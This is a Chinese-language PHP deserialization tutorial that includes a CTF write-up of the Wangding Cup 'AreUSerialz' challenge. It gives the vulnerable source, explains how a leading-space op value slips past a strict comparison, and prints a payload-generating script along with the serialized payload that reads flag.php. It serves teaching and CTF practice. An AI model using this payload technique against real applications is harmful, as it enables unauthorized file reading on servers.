【PHP反序列化】速览
PHP反序列化
一、原理
序列化就是将对象转化成字符串,反序列化相反。数据的格式转换和对象的序列化有利于对象的保存 。
反序列化漏洞:就是php对数据进行反序列化时,没有进行过滤,导致用户可以控制反序列化的内容,调用一些默认的魔术方法,进行SQL注入等攻击。
-
序列化函数:serialize()
-
反序列函数: unserialize()
-
php中的魔术方法:
- __construct():构造函数,对象创建时被触发。
- __destruct():析构函数,对象被销毁时触发。当不存在序列化函数时,在类的实例化时就被执行。当存在序列化函数时,在先执行construct(),然后序列化,最后执行destruct()。
- __wakeup():苏醒函数,反序列化时被调用。
实例
上述代码中,首先实例化一个A类,此时会自动调用__construct方法。然后对其进行序列化,输出序列化的结果。最后对其进行发序列化,此时又会自动调用__wakeup函数。
运行结果:
可见序列化之后其实是变成了一串字符:
O:1:"A":1:{s:2:"hh";s:3:"zfr";}
O表示object类,s表示string类型
二、实战
来看一道ctfhub上的题:2020-网鼎杯-青龙组-Web-AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
可以看到,首先GET方法获取我们输入的str值,进行一个is_valid判断,看是否在正常字符串内,然后对str进行一个反序列化。因此我们可以猜到,输入的str应该是一个序列化后的结果。
再看类FileHandler,看到方法__destruct()和__construct(),当我们str中提前实例化类FileHandler时,就会执行这两个函数。同时,存在两个方法read()和write()用于读写特定目录下的文件。因为我们要读flag的值,所以肯定要执行read方法,因此需要变量$op=2。
观察__destruct()函数,其中如果op=2,则会强制将op转化为1。但是,因为===同时判断类型和数值。所以如果我们输入op=” 2″,因为2前面存在一个空格,则可以绕过该强制等于。
经过以上代码分析,可以构建如下代码:
<?php
class FileHandler{
public $op= " 2";
public $filename="flag.php";
public $content = "ss";
}
$test=new FileHandler();
$hh=serialize($test);
echo $hh;
?>
输出的结果即是我们的payload:
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"ss";}
使用GET将上述str的值传入,再查看网页源代码,即可看到我们的FLAG。
总结
其安全性问题主要出现在反序列化环节,当我们序列化一个含有危险语句比如SQL注入语句的对象时,该对象被转化成字符串,并不会被识别。但是如果服务器端进行反序列化操作,则会执行该危险语句,导致危险产生。